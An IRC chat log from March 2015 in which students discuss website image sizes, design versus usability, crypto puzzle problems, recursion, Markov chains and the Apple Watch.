[2015-03-11T15:15:04-0400] <grantwu> kek
[2015-03-11T15:15:09-0400] <+awe> lol
[2015-03-11T15:15:12-0400] <failedxyz> lolol
[2015-03-11T15:18:44-0400] <+awe> Okay, I did both the practice exams.
[2015-03-11T15:18:46-0400] <+awe> I am equipped.
[2015-03-11T15:19:24-0400] <+awe> failedxyz: also, I think you're friends with this dude who's starting a "Hackers of UMass group."
[2015-03-11T15:19:30-0400] <+awe> erm, the quote should've ended after UMass.
[2015-03-11T15:19:32-0400] <+awe> You get the idea.
[2015-03-11T15:19:43-0400] <failedxyz> which dude
[2015-03-11T15:19:44-0400] <+awe> and by friends, I mean Facebook friends.
[2015-03-11T15:19:48-0400] <+awe> Ty Kelley.
[2015-03-11T15:19:56-0400] <failedxyz> i recognize the name
[2015-03-11T15:20:06-0400] <+awe> You probably met him at a hackathon.
[2015-03-11T15:20:16-0400] <failedxyz> i think i met him on HH
[2015-03-11T15:20:23-0400] <+awe> Ah, that's also possible.
[2015-03-11T15:24:57-0400] <+awe> failedxyz: well, this is the thing he's starting http://hackers-of-umass.github.io
[2015-03-11T15:26:31-0400] <failedxyz> o
[2015-03-11T15:27:07-0400] <failedxyz> o damn
[2015-03-11T15:27:09-0400] <failedxyz> this page is beautiful
[2015-03-11T15:27:11-0400] <failedxyz> lol
[2015-03-11T15:27:50-0400] <+awe> It's also ludicrously large.
[2015-03-11T15:28:10-0400] <failedxyz> :o
[2015-03-11T15:28:11-0400] <+awe> And there's 11 JS files.
[2015-03-11T15:28:14-0400] <+awe> For a single page website.
[2015-03-11T15:28:17-0400] <grantwu> It's the current fashion lol.
[2015-03-11T15:28:19-0400] <failedxyz> well that might explain why it took a long time to load
[2015-03-11T15:28:20-0400] <failedxyz> lol
[2015-03-11T15:28:28-0400] <+awe> Yeah, the header image alone is like 10 MB.
[2015-03-11T15:28:34-0400] <grantwu> Hey it's targeted towards a first world country.
[2015-03-11T15:28:35-0400] <failedxyz> lol
[2015-03-11T15:28:37-0400] <failedxyz> does he not compress
[2015-03-11T15:28:40-0400] <failedxyz> i mean
[2015-03-11T15:28:42-0400] <failedxyz> use jpg
[2015-03-11T15:28:44-0400] <+awe> It's a PNG.
[2015-03-11T15:28:45-0400] <failedxyz> :I
[2015-03-11T15:28:57-0400] <+awe> A 5000px by 3200px PNG.
[2015-03-11T15:29:11-0400] <failedxyz> idk if there's better ways but a really hacky method i use to get images smaller is use q80 jpg
[2015-03-11T15:29:27-0400] <grantwu> something something something compression artifacts.  something something stupid people JPG works fine for photographs.
[2015-03-11T15:30:08-0400] <grantwu> failedxyz: I can't think of a better way, other than to reduce resolution/use a better compressor.
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[2015-03-11T15:30:19-0400] <grantwu> Latter option really isn't an option unless you're using a bad one.
[2015-03-11T15:30:21-0400] <failedxyz_> hi from irccloud
[2015-03-11T15:30:22-0400] <+awe> I tend to prefer PNG to JPEG, but for a giant image, you don't have much choice.
[2015-03-11T15:30:28-0400] <failedxyz_> yeah
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[2015-03-11T15:30:46-0400] <failedxyz> why does it have to be that big
[2015-03-11T15:31:01-0400] <+awe> Large screens.
[2015-03-11T15:31:08-0400] <failedxyz> ...
[2015-03-11T15:31:13-0400] <failedxyz> wait
[2015-03-11T15:31:24-0400] <failedxyz> i saw the image on an HH subgroup
[2015-03-11T15:31:28-0400] <failedxyz> can't he just svg it
[2015-03-11T15:31:36-0400] <+awe> Which one?
[2015-03-11T15:31:39-0400] <+awe> The tree?
[2015-03-11T15:31:40-0400] <failedxyz> wouldn't svg be much smaller
[2015-03-11T15:31:41-0400] <+awe> The tree is an SVG.
[2015-03-11T15:31:42-0400] <failedxyz> yeah
[2015-03-11T15:31:45-0400] <failedxyz> oh
[2015-03-11T15:31:53-0400] <+awe> It's the desk pen notebook thing that's huge.
[2015-03-11T15:31:54-0400] <failedxyz> what are we talking about
[2015-03-11T15:31:58-0400] <+awe> The background.
[2015-03-11T15:32:05-0400] <failedxyz> oh
[2015-03-11T15:32:14-0400] <failedxyz> derp
[2015-03-11T15:35:32-0400] <+awe> I actually just realized that I was still using PNGs on my company's site.
[2015-03-11T15:35:41-0400] <+awe> I just changed them to JPEG. :p
[2015-03-11T15:35:56-0400] <+awe> I'll actually submit a PR for the Hackers of UMass site too.
[2015-03-11T15:38:20-0400] <+awe> It went from 8.7 MB to 870 KB.
[2015-03-11T15:38:20-0400] <+awe> lol
[2015-03-11T15:38:58-0400] <failedxyz> lol
[2015-03-11T15:39:02-0400] <failedxyz> your company?
[2015-03-11T15:39:05-0400] <failedxyz> which one
[2015-03-11T15:39:57-0400] <grantwu> JPEGs are perfectly fine for photographs.
[2015-03-11T15:40:49-0400] <+awe> failedxyz: http://protoipo.com/
[2015-03-11T15:41:14-0400] <failedxyz> :o
[2015-03-11T15:41:25-0400] <grantwu> If you want to be future-oriented, use WebP, but you'll lose Firefox support.
[2015-03-11T15:42:24-0400] <+awe> failedxyz: I kind of designed it imagining more content in each section, but it looks fine, I guess.
[2015-03-11T15:42:33-0400] <failedxyz> lol nice
[2015-03-11T16:31:42-0400] <JacobEdelman> I feel like a lot of website design is turning into fashion
[2015-03-11T16:31:57-0400] <JacobEdelman> without knowing about current trends there is no way to judge whether something is good
[2015-03-11T16:32:35-0400] <JacobEdelman> case in point: normal people disliked this site: http://getmagicnow.com/
[2015-03-11T16:32:39-0400] <JacobEdelman> but developers like it
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[2015-03-11T16:33:27-0400] <+awe> JacobEdelman: Yes. Design is design.
[2015-03-11T16:33:58-0400] <JacobEdelman> awe: did you put creative commons stuff on the site
[2015-03-11T16:33:59-0400] <grantwu> Normal people disliked it?
[2015-03-11T16:34:01-0400] <JacobEdelman> awe: https://www.flickr.com/photos/stuseeger/7553859488/
[2015-03-11T16:34:04-0400] <grantwu> Why did they dislike it?
[2015-03-11T16:34:04-0400] <JacobEdelman> grantwu: yup
[2015-03-11T16:34:11-0400] <JacobEdelman> they thought it was too plain
[2015-03-11T16:34:15-0400] <+awe> JacobEdelman: yes
[2015-03-11T16:34:22-0400] <JacobEdelman> awe: okay, good
[2015-03-11T16:34:26-0400] <+awe> JacobEdelman: they're all CC-BY.
[2015-03-11T16:34:28-0400] <JacobEdelman> awe: so many people ignore that stuff
[2015-03-11T16:34:44-0400] <grantwu> Eh.  It shouldn't matter whether users "like it" or not.
[2015-03-11T16:34:45-0400] <JacobEdelman> I don't like subjective things
[2015-03-11T16:34:58-0400] <JacobEdelman> I feel like good design should not be subjective
[2015-03-11T16:34:59-0400] <grantwu> Usability testing doesn't test whether users "like" things.
[2015-03-11T16:35:13-0400] <JacobEdelman> grantwu: hmm... how does one go about usability testing?
[2015-03-11T16:35:29-0400] <JacobEdelman> grantwu: I mean, I can make a site that doesn't confuse visitors easyily
[2015-03-11T16:35:34-0400] <grantwu> It's... complicated.
[2015-03-11T16:35:35-0400] <JacobEdelman> but it might be really ugly
[2015-03-11T16:35:37-0400] <grantwu> There are a lot of ways
[2015-03-11T16:35:50-0400] <JacobEdelman> but I feel like its all subjective
[2015-03-11T16:36:01-0400] <JacobEdelman> I mean
[2015-03-11T16:36:02-0400] <+awe> JacobEdelman: design is subjective.
[2015-03-11T16:36:05-0400] <JacobEdelman> I like zrl's site
[2015-03-11T16:36:06-0400] <+awe> JacobEdelman: it's subject to trends.
[2015-03-11T16:36:06-0400] <JacobEdelman> http://zachlatta.com/
[2015-03-11T16:36:10-0400] <+awe> I dislike zrl's site.
[2015-03-11T16:36:13-0400] <grantwu> Eye-tracking, sitting next to users as they verbalize their interactions, quantifying how long they spend on pages
[2015-03-11T16:36:30-0400] <JacobEdelman> awe: its objectively beautiful!
[2015-03-11T16:36:35-0400] <+awe> No, it's not.
[2015-03-11T16:36:42-0400] <+awe> It's objectively no CSS.
[2015-03-11T16:36:44-0400] <JacobEdelman> grantwu: that just seems to be a way of objectively measuring subjective response
[2015-03-11T16:36:55-0400] <JacobEdelman> awe: yes
[2015-03-11T16:36:57-0400] <grantwu> What is "subjective response"
[2015-03-11T16:37:09-0400] <grantwu> Of course different people respond differently
[2015-03-11T16:37:12-0400] <JacobEdelman> grantwu: people's opinions, that change with what they believe is "in"
[2015-03-11T16:37:20-0400] <JacobEdelman> so it changes overtime
[2015-03-11T16:37:22-0400] <grantwu> It doesn't matter what is "in"
[2015-03-11T16:37:28-0400] <JacobEdelman> I say it does
[2015-03-11T16:37:36-0400] <grantwu> You're not asking them "Do you like the design?"
[2015-03-11T16:37:47-0400] <grantwu> Of course, yes, trends do provide context
[2015-03-11T16:37:50-0400] <JacobEdelman> take a site that was considreded very usable 5 years abo
[2015-03-11T16:37:59-0400] <grantwu> Like common user interface themes
[2015-03-11T16:38:02-0400] <JacobEdelman> and I doubt it would do so well these days on the same tests
[2015-03-11T16:38:09-0400] <grantwu> I think you're wrong lol
[2015-03-11T16:38:17-0400] <+awe> Usability /= design.
[2015-03-11T16:38:34-0400] <JacobEdelman> hmm
[2015-03-11T16:38:35-0400] <JacobEdelman> true
[2015-03-11T16:38:37-0400] <JacobEdelman> but can it?
[2015-03-11T16:38:40-0400] <+awe> Usability standards might also change, but if you applied the same standards, they exist irrespective of context.
[2015-03-11T16:38:47-0400] <JacobEdelman> okay, fine
[2015-03-11T16:38:57-0400] <grantwu> It's true that like for example
[2015-03-11T16:39:02-0400] <JacobEdelman> grantwu: that should be studied, it would be interesting
[2015-03-11T16:39:04-0400] <grantwu> Users have seen lots of search boxes
[2015-03-11T16:39:23-0400] <grantwu> It is studied... there's a whole department in CMU SCS that studies human computer interaction
[2015-03-11T16:39:36-0400] <grantwu> So perhaps it's a better idea to use a box for a search function
[2015-03-11T16:39:43-0400] <+awe> HCI is a common research area now.
[2015-03-11T16:39:45-0400] <grantwu> As opposed to... a keyboard shortcut
[2015-03-11T16:40:03-0400] <+awe> grantwu: I want to type colon s to search.
[2015-03-11T16:40:33-0400] <grantwu> But that's you.
[2015-03-11T16:40:43-0400] <JacobEdelman> hmmm... so, I'll forfeit the argument on usability
[2015-03-11T16:40:47-0400] <JacobEdelman> but not on design
[2015-03-11T16:40:47-0400] <grantwu> Also you can make it so that that brings focus to the search box
[2015-03-11T16:41:02-0400] <JacobEdelman> although I'm not really arguign with anyone about design
[2015-03-11T16:41:09-0400] <grantwu> Eh, I'm not well-versed in the distinction between design and usability so you can have tat
[2015-03-11T16:41:11-0400] <grantwu> *that
[2015-03-11T16:41:11-0400] <+awe> Design can never not be subjective.
[2015-03-11T16:41:17-0400] <JacobEdelman> wait
[2015-03-11T16:41:28-0400] <+awe> There's no such thing as objectively good design.
[2015-03-11T16:41:29-0400] <JacobEdelman> 4:35 PM 
[2015-03-11T16:41:30-0400] <JacobEdelman> <
[2015-03-11T16:41:30-0400] <JacobEdelman> +awe> 
[2015-03-11T16:41:30-0400] <JacobEdelman> JacobEdelman: design is subjective.
[2015-03-11T16:41:38-0400] <JacobEdelman> that came out weird
[2015-03-11T16:41:51-0400] <JacobEdelman> 4:35 PM <+awe> JacobEdelman: design is subjective.
[2015-03-11T16:41:52-0400] <JacobEdelman> there, much better
[2015-03-11T16:42:42-0400] <+awe> Yes.
[2015-03-11T16:42:47-0400] <+awe> Why did you quote that?
[2015-03-11T16:46:23-0400] <+awe> JacobEdelman: ^
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[2015-03-11T16:53:56-0400] <JacobEdelman> Of wait
[2015-03-11T16:54:02-0400] <JacobEdelman> *O
[2015-03-11T16:54:10-0400] <JacobEdelman> I read something wrong
[2015-03-11T16:54:26-0400] <JacobEdelman> Ignore me, I'm crazy
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[2015-03-11T17:08:46-0400] <JacobEdelman> Go Ernest
[2015-03-11T17:09:02-0400] <ernest> Sup
[2015-03-11T17:11:24-0400] <ernest> Tell Ezra that plugging stuff into google translate does not count as a crypto problem
[2015-03-11T17:12:01-0400] <grantwu> @tell Ezra plugging stuff into google translate does not count as a crypto problem
[2015-03-11T17:12:01-0400] <+awebot> grantwu: I'll let them know!
[2015-03-11T17:13:08-0400] <ernest> Also viginiere has been done so many times now
[2015-03-11T17:14:38-0400] <JacobEdelman> I told him
[2015-03-11T17:15:05-0400] <JacobEdelman> Ezra says the Google translate one is actually hard
[2015-03-11T17:15:30-0400] <JacobEdelman> ernest: did you try my crypto?
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[2015-03-11T17:16:50-0400] <The_Master> ernest: as Ben would say, YOU don't count as a crypto problem
[2015-03-11T17:17:32-0400] <The_Master> also, I am probably going to remove anyway because it might be impossible
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[2015-03-11T17:26:04-0400] <JacobEdelman> ernest: cough cough Esperanto translated last year cough cough
[2015-03-11T17:31:52-0400] <ernest> It looks like hill cipher known plaintext attack, where the first letters of the plaintext are knock, knock!, but we aren't given any details of how letters are changed to numbers mod 256 (ASCII?)
[2015-03-11T17:38:41-0400] <Hyper> so I just did 1/3rd of my CS problem set that was apparently so hard they split it in two in under an hour
[2015-03-11T17:38:43-0400] <Hyper> q.q
[2015-03-11T17:39:07-0400] <Hyper> why can't people shot recursion?
[2015-03-11T17:39:58-0400] <Pharyngeal> I love driving
[2015-03-11T17:40:02-0400] <Tamini> bad esperanto
[2015-03-11T17:40:02-0400] <Tamini> :<
[2015-03-11T18:06:56-0400] <+awe> grantwu: Ezra's nickname is The_Master.
[2015-03-11T18:06:58-0400] You're now known as Ezra
[2015-03-11T18:06:59-0400] <+Ezra> hi
[2015-03-11T18:06:59-0400] <+awebot> Ezra: 54 minutes ago, grantwu said plugging stuff into google translate does not count as a crypto problem.
[2015-03-11T18:07:03-0400] You're now known as awe
[2015-03-11T18:07:04-0400] <+awe> ^
[2015-03-11T18:07:05-0400] <+awe> The_Master: 
[2015-03-11T18:07:49-0400] <+awe> Hyper: Because apparently, it's unintuitive.
[2015-03-11T18:16:20-0400] <The_Master> what?
[2015-03-11T18:16:51-0400] <The_Master> oh nevermind
[2015-03-11T18:17:05-0400] <+awe> Pharyngeal: I also love driving.
[2015-03-11T18:19:06-0400] <Hyper> awe: We did recursion last term. There's no excuse to not understand it at this point >_<
[2015-03-11T18:19:19-0400] <+awe> Sure there is. The lessons did not sink in. :)
[2015-03-11T18:19:27-0400] <Hyper> :/
[2015-03-11T18:19:39-0400] <Hyper> this is why recursion is the very first thing stuy teaches in CS
[2015-03-11T18:19:49-0400] <+awe> This is also why FP is a good thing to learn.
[2015-03-11T18:19:54-0400] <+awe> You have to learn to recurse.
[2015-03-11T18:20:00-0400] <Hyper> yeah, our first half of the first term is in scheme
[2015-03-11T18:20:09-0400] <Hyper> for basically that reason
[2015-03-11T18:20:27-0400] <Hyper> once you understand recursion iteration is REALLY easy
[2015-03-11T18:20:33-0400] <+awe> Yeah, of course.
[2015-03-11T18:21:10-0400] <+awe> I mean iteration at a low-level is similar to recursion at a high-level.
[2015-03-11T18:21:14-0400] <Hyper> and I already had a fair bit of programming experience at that point, and had somehow never used recursion, though I guess that type of thing comes naturally enough for me
[2015-03-11T18:21:18-0400] <+awe> Jump back to the beginning after making some changes.
[2015-03-11T18:21:42-0400] <Hyper> awe: recursion at a low level is just iteration ;)
[2015-03-11T18:21:50-0400] <Hyper> and vice-versa
[2015-03-11T18:21:50-0400] <+awe> This is true.
[2015-03-11T18:21:50-0400] <Hyper> lol
[2015-03-11T18:22:12-0400] <Hyper> It's cool that they're effectively interchangable concepts
[2015-03-11T18:23:20-0400] <+awe> Oh, man. There's an ad on right now that's talking about gluten-free foods.
[2015-03-11T18:23:31-0400] <+awe> They said "some people don't eat gluten as part of a healthy lifestyle."
[2015-03-11T18:23:43-0400] <+awe> That's not even true.
[2015-03-11T18:23:48-0400] <+awe> It's not unhealthy, ffs.
[2015-03-11T18:24:12-0400] <+awe> The same people who authored that study indicating that gluten might be bad for some people (who don't have celiacs) later authored a paper saying "We're sorry. We were wrong."
[2015-03-11T18:26:39-0400] <+awe> Wow, it feels so weird that after spring break, I only have five weeks of school left.
[2015-03-11T18:27:18-0400] <Tamini> wow
[2015-03-11T18:28:06-0400] <+awe> And the theoretical part of my probability class is over after today.
[2015-03-11T18:28:56-0400] <+awe> After spring break, it's going to be coupon collecting, balls and bins, then spam filtering, bayesian classification, bayesian networks, markov chains, game theory, and information theor.y
[2015-03-11T18:29:04-0400] <+awe> We're going to have two lectures on Markov chains.
[2015-03-11T18:31:34-0400] <Hyper> awe: nice!
[2015-03-11T18:31:35-0400] <+awe> Which is kind of crazy.
[2015-03-11T18:31:45-0400] <Hyper> Have I mentioned how much I love markov chains?
[2015-03-11T18:31:54-0400] <+awe> https://github.com/aatxe/markov
[2015-03-11T18:31:57-0400] <+awe> Have I mentioned that before?
[2015-03-11T18:31:58-0400] <Hyper> there's a lot of cool shit that you can do with them ;)
[2015-03-11T18:32:03-0400] <Hyper> yes, you have
[2015-03-11T18:32:21-0400] <Hyper> but there's more you can do than generate outputs based on an input dataset
[2015-03-11T18:32:24-0400] <+awe> I still want to do music generation with it. .-.
[2015-03-11T18:33:14-0400] <Hyper> for instance: ~4 years ago, I convinced my friend to use trigram markov chains to compare text on pages of wikipedia with pages found though internet searches to detect copyright violations
[2015-03-11T18:33:35-0400] <Hyper> it's pretty much the most accurate tool for detecting copyvios on WP right now
[2015-03-11T18:33:50-0400] <Hyper> https://github.com/earwig/copyvios
[2015-03-11T18:34:08-0400] <+awe> Yeah, not surprising.
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[2015-03-11T18:36:44-0400] <+awe> Anyway, exam time.
[2015-03-11T18:36:47-0400] <+awe> Be back later.
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[2015-03-11T18:53:16-0400] <Hyper> gah why are they making us define mergesort in such a fucked up way this isn't a good way to implement this... >_<
[2015-03-11T18:55:14-0400] <Tamini> ?
[2015-03-11T18:55:30-0400] <Hyper> Tamini: nothing, just ranting out loud
[2015-03-11T18:56:39-0400] <Tamini> how are they defining it?
[2015-03-11T18:57:14-0400] <Hyper> we have a memory buffer and a start and end iterator
[2015-03-11T18:57:23-0400] <Hyper> instead of just returning the sorted thing
[2015-03-11T19:00:12-0400] <Tamini> oh, weird.
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[2015-03-11T19:22:54-0400] <failedxyz> hei
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[2015-03-11T20:32:33-0400] <JacobEdelman> so, in an online fiction story I read
[2015-03-11T20:32:41-0400] <JacobEdelman> there is alwayas a typo thread in the comments
[2015-03-11T20:32:50-0400] <JacobEdelman> pointing out typos and mistakes in the chapters
[2015-03-11T20:33:06-0400] <JacobEdelman> most chapters are quiet long, ~10,000
[2015-03-11T20:33:12-0400] <JacobEdelman> *~10,000 words
[2015-03-11T20:33:24-0400] <JacobEdelman> but one troll chapter is 4 words long
[2015-03-11T20:33:25-0400] <JacobEdelman> and yes
[2015-03-11T20:33:29-0400] <JacobEdelman> they found a typo
[2015-03-11T20:33:30-0400] <JacobEdelman> :P
[2015-03-11T20:34:40-0400] <fwilson> nice.
[2015-03-11T20:34:41-0400] <+awebot> fwilson: 5 hours ago, awe said Hi!
[2015-03-11T20:34:50-0400] <fwilson> awebot: tell awe Hi!
[2015-03-11T20:34:52-0400] <fwilson> no?
[2015-03-11T20:34:55-0400] <fwilson> ok :(
[2015-03-11T20:35:08-0400] <fwilson> @tell awe Hi!
[2015-03-11T20:35:08-0400] <+awebot> fwilson: I'll let them know!
[2015-03-11T20:35:12-0400] <fwilson> ok!
[2015-03-11T20:35:15-0400] <fwilson> @help
[2015-03-11T20:35:18-0400] <fwilson> :(
[2015-03-11T20:36:51-0400] <jwoglom> wait a minute. fwilson is in here?
[2015-03-11T20:37:14-0400] <jwoglom> hello fwilson
[2015-03-11T20:37:19-0400] <fwilson> hello jwoglom 
[2015-03-11T20:37:23-0400] <fwilson> ¯\_(ツ)_/¯
[2015-03-11T20:38:57-0400] <alokpathy> fwilson: Welcome to pdgn :D
[2015-03-11T20:38:58-0400] <jwoglom> the more tj people the better o/
[2015-03-11T20:39:03-0400] <fwilson> :D
[2015-03-11T20:46:55-0400] <ubuntor> oh hey
[2015-03-11T20:48:04-0400] <ubuntor> @whois fwilson
[2015-03-11T20:48:04-0400] <+awebot> ubuntor: I don't know who fwilson is.
[2015-03-11T20:48:19-0400] <fwilson> ¯\_(ツ)_/¯
[2015-03-11T20:48:26-0400] <fwilson> @whois awebot
[2015-03-11T20:48:26-0400] <+awebot> fwilson: awebot is just your friendly neighborhood Spiderman.
[2015-03-11T20:48:29-0400] <fwilson> :o
[2015-03-11T20:48:37-0400] <ubuntor> use @iam <blah>
[2015-03-11T20:52:10-0400] <jwoglom> @whois jwoglom
[2015-03-11T20:52:10-0400] <+awebot> jwoglom: jwoglom is either a human or a robot, not sure, send help pls
[2015-03-11T20:52:16-0400] <alokpathy> @whois alokpathy 
[2015-03-11T20:52:16-0400] <+awebot> alokpathy: alokpathy is love, alokpathy is life
[2015-03-11T20:56:08-0400] <jwoglom> awebot: there should probably be a @help
[2015-03-11T20:56:13-0400] <jwoglom> *er, awe
[2015-03-11T21:23:37-0400] <failedxyz> hei
[2015-03-11T21:28:57-0400] <JacobEdelman> wow
[2015-03-11T21:29:06-0400] <JacobEdelman> so many TJ people
[2015-03-11T21:31:44-0400] <jwoglom> viva la revolucion!
[2015-03-11T21:31:57-0400] <jwoglom> http://bgr.com/2015/03/10/apple-watch-vs-android-wear-top-5/
[2015-03-11T21:32:01-0400] <jwoglom> this freaking article
[2015-03-11T21:34:29-0400] <grantwu> So much to read these days
[2015-03-11T21:34:33-0400] <grantwu> So little worth reading.
[2015-03-11T21:54:30-0400] <+awe> jwoglom: you're probably right, but eh.
[2015-03-11T21:54:30-0400] <+awebot> awe: An hour ago, fwilson said Hi!
[2015-03-11T21:54:34-0400] <Pharyngeal> awe: I drove to Queens because I was bored, and then drove to the south shore, drove along the water, and then back home
[2015-03-11T21:54:40-0400] <Pharyngeal> So relaxing
[2015-03-11T21:54:44-0400] <Pharyngeal> The air smelled nice too
[2015-03-11T21:54:47-0400] <Pharyngeal> On Ocean Parkway
[2015-03-11T21:55:07-0400] <jwoglom> awe: i'm kind of curious, what do you think about the apple watch?
[2015-03-11T21:55:18-0400] <+awe> I want it, but it's so expensive.
[2015-03-11T21:55:37-0400] <+awe> Pharyngeal: I get to drive twenty-two hours to and from school which is great.
[2015-03-11T21:55:43-0400] <+awe> Pharyngeal: It's such a nice, relaxing drive.
[2015-03-11T21:55:45-0400] <jwoglom> awe: what do you think about the ui?
[2015-03-11T21:55:51-0400] <+awe> It's interesting.
[2015-03-11T21:56:14-0400] <jwoglom> personally i think they're trying to do too much on a watch
[2015-03-11T21:56:14-0400] <Pharyngeal> awe: Twenty two hours? I recall you live(d?) in the North?
[2015-03-11T21:56:22-0400] <jwoglom> the whole grid of app icons thing
[2015-03-11T21:56:22-0400] <+awe> I moved over the summer to Florida.
[2015-03-11T21:56:27-0400] <jwoglom> and pinch to zoom..on a watch
[2015-03-11T21:56:32-0400] <Pharyngeal> Ah right
[2015-03-11T21:56:41-0400] <Pharyngeal> With the family?
[2015-03-11T21:56:50-0400] <+awe> jwoglom: Yeah, I feel like it's something you have to feel to know if it works or not though.
[2015-03-11T21:57:12-0400] <jwoglom> like, at least on my smartwatch which is basically the same size as the apple watch, it feels really awkward
[2015-03-11T21:57:17-0400] <Pharyngeal> And I drove to Florida during winter break, it was excellent
[2015-03-11T21:57:25-0400] <jwoglom> because if you go too far you get off the touchscreen
[2015-03-11T21:58:17-0400] <+awe> Yeah, but it depends on tuning and stuff too.
[2015-03-11T21:58:42-0400] <jwoglom> i suppose
[2015-03-11T21:58:57-0400] <+awe> I might still buy one because I really want a smart watch.
[2015-03-11T21:59:01-0400] <jwoglom> i much prefer the "it only does notifications and does it well" approach of android wear
[2015-03-11T21:59:34-0400] <jwoglom> also, why the heck do you want to look at pictures on your watch?
[2015-03-11T21:59:41-0400] <jwoglom> seemed like that's one of the things apple is really touting
[2015-03-11T22:00:42-0400] <jwoglom> and force touch -- seems like basically the same thing as a long-press..just harder to do and more fancy
[2015-03-11T22:01:04-0400] <+awe> Also depends on tuning lol.
[2015-03-11T22:01:07-0400] <+awe> It might be really easy to do.
[2015-03-11T22:01:08-0400] <+awe> I dunno.
[2015-03-11T22:01:10-0400] <+awe> I'd have to try it.
[2015-03-11T22:01:23-0400] <jwoglom> it's probably relatively easy, but it still looks like you need to put some force into it
[2015-03-11T22:03:09-0400] <+awe> I'm not so sure that it has a legitimate use beyond notifications, but I guess that's something we'll see.
[2015-03-11T22:04:40-0400] <fwilson> jwoglom: pebble does well with notifications
[2015-03-11T22:05:01-0400] <fwilson> android wear looks pretty awesome though
[2015-03-11T22:05:16-0400] <+awe> The issue I have with pebble is that watches are just as much about fashion as they are about function.
[2015-03-11T22:05:21-0400] <jwoglom> fwilson: with android wear it's basically just the android notification tray
[2015-03-11T22:05:23-0400] <+awe> And IMO, the pebble is not fashionable.
[2015-03-11T22:05:23-0400] <jwoglom> plus google now
[2015-03-11T22:05:31-0400] <jwoglom> awe: even the steel?
[2015-03-11T22:05:40-0400] <+awe> The steel is better but still nah.
[2015-03-11T22:05:50-0400] <fwilson> my old watch was purely functional anyway ¯\_(ツ)_/¯
[2015-03-11T22:05:59-0400] <+awe> I really like Moto 360, too.
[2015-03-11T22:06:01-0400] <jwoglom> how does the apple watch meet the awe fashionability test, if i may ask?
[2015-03-11T22:06:02-0400] <+awe> It has a really elegant design.
[2015-03-11T22:06:10-0400] <+awe> (That was about the Moto 360).
[2015-03-11T22:06:17-0400] <+awe> I like the Apple Watch. I think the larger one is probably silly looking.
[2015-03-11T22:06:26-0400] <+awe> Specifically, I really like the Milanese loop band.
[2015-03-11T22:07:00-0400] <jwoglom> oh that thing
[2015-03-11T22:07:02-0400] <jwoglom> it looks nice
[2015-03-11T22:07:12-0400] <jwoglom> except that, well, it costs $50 more than my current watch....
[2015-03-11T22:08:40-0400] <fwilson> band pricing is a little silly
[2015-03-11T22:08:48-0400] <fwilson> i like how you can use standard watch bands with pebble though
[2015-03-11T22:09:19-0400] <+awe> Band pricing is SO silly.
[2015-03-11T22:09:30-0400] <+awe> I'm so miffed that it's $150/band.
[2015-03-11T22:09:38-0400] <+awe> Especially since they won't let me *just* buy the band I want.
[2015-03-11T22:09:59-0400] <fwilson> are bands even interchangable?
[2015-03-11T22:10:01-0400] <+awe> I can either get the stainless steel one with milanese loop for $650, or the aluminum one and then a separate milanese loop for $500.
[2015-03-11T22:10:03-0400] <fwilson> well, "officially" interchangeable?
[2015-03-11T22:10:04-0400] <+awe> Yes, they are interchangeable. 
[2015-03-11T22:10:04-0400] <jwoglom> awe: what are your thoughts on how long the current gen apple watch will last?
[2015-03-11T22:10:13-0400] <jwoglom> what if they are incompatible with the next version
[2015-03-11T22:10:15-0400] <+awe> Probably 1.5 years.
[2015-03-11T22:10:18-0400] <jwoglom> that sounds like an apple move
[2015-03-11T22:10:23-0400] <+awe> Probably won't be incompatible.
[2015-03-11T22:10:26-0400] <+awe> Apple has never done that before.
[2015-03-11T22:10:48-0400] <jwoglom> "We've developed a new, easily attachable band system for the Apple Watch 2! *cough* oldwatchbandsarenolongersupported *cough*"
[2015-03-11T22:11:17-0400] <+awe> Oh, the bands may not be supported. Yeah.
[2015-03-11T22:11:21-0400] <+awe> That'd be pretty buns.
[2015-03-11T22:11:40-0400] <fwilson> but it seems like something apple would do
[2015-03-11T22:11:54-0400] <jwoglom> it does
[2015-03-11T22:11:58-0400] <+awe> It's possible, but I don't foresee it in a gen 2 product.
[2015-03-11T22:12:15-0400] <+awe> It took them a while to change charging standards, for example.
[2015-03-11T22:13:07-0400] <jwoglom> how does the apple watch charge?
[2015-03-11T22:13:12-0400] <jwoglom> it doesn't use qi, does it?
[2015-03-11T22:13:40-0400] <fwilson> nope!
[2015-03-11T22:13:54-0400] <+awe> It's a wireless magsafe charger.
[2015-03-11T22:14:00-0400] <fwilson> looks like a circly thing that attaches to the watch bottom
[2015-03-11T22:14:01-0400] <+awe> It snaps onto the bottom.
[2015-03-11T22:14:12-0400] <jwoglom> are there pins that have to line up?
[2015-03-11T22:14:22-0400] <+awe> No.
[2015-03-11T22:14:25-0400] <+awe> Wireless.
[2015-03-11T22:14:25-0400] <fwilson> apparently it uses magnets or something so you don't have to line them up exactly
[2015-03-11T22:14:26-0400] <+awe> It's inductive.
[2015-03-11T22:15:01-0400] <+awe> You basically just hold it close, it'll snap on, and charge via induction.
[2015-03-11T22:15:03-0400] <jwoglom> https://www.google.com/search?q=site%3Abgr.com+watch
[2015-03-11T22:15:06-0400] <jwoglom> bgr, pls.
[2015-03-11T22:15:10-0400] <fwilson> one of the problems i have with the apple watch is the practical inability to do sleep tracking
[2015-03-11T22:15:39-0400] <+awe> Because of the battery life?
[2015-03-11T22:15:59-0400] <fwilson> yup, and the design philosophy of "you should be wearing this all day"
[2015-03-11T22:16:12-0400] <fwilson> are there any estimates of how long it takes to charge?
[2015-03-11T22:16:50-0400] <+awe> None that I've seen.
[2015-03-11T22:17:05-0400] <fwilson> :\
[2015-03-11T22:17:18-0400] <jwoglom> "RELATED: What happens with Apple Watch once the battery runs out"
[2015-03-11T22:17:36-0400] <jwoglom> it uses the ghost of Steve Jobs' ego to recharge itself for another 30 minutes!
[2015-03-11T22:17:50-0400] <failedxyz> lol
[2015-03-11T22:18:16-0400] <fwilson> i guess i really just don't like the design philosophy, the whole computer on your wrist thing
[2015-03-11T22:18:29-0400] <fwilson> but eh, to each his/her own
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[2015-03-11T22:07:12-0400] <jwoglom> except that, well, it costs $50 more than my current watch....
[2015-03-11T22:08:40-0400] <fwilson> band pricing is a little silly
[2015-03-11T22:08:48-0400] <fwilson> i like how you can use standard watch bands with pebble though
[2015-03-11T22:09:20-0400] <+awe> Band pricing is SO silly.
[2015-03-11T22:09:30-0400] <+awe> I'm so miffed that it's $150/band.
[2015-03-11T22:09:38-0400] <+awe> Especially since they won't let me *just* buy the band I want.
[2015-03-11T22:09:59-0400] <fwilson> are bands even interchangable?
[2015-03-11T22:10:01-0400] <+awe> I can either get the stainless steel one with milanese loop for $650, or the aluminum one and then a separate milanese loop for $500.
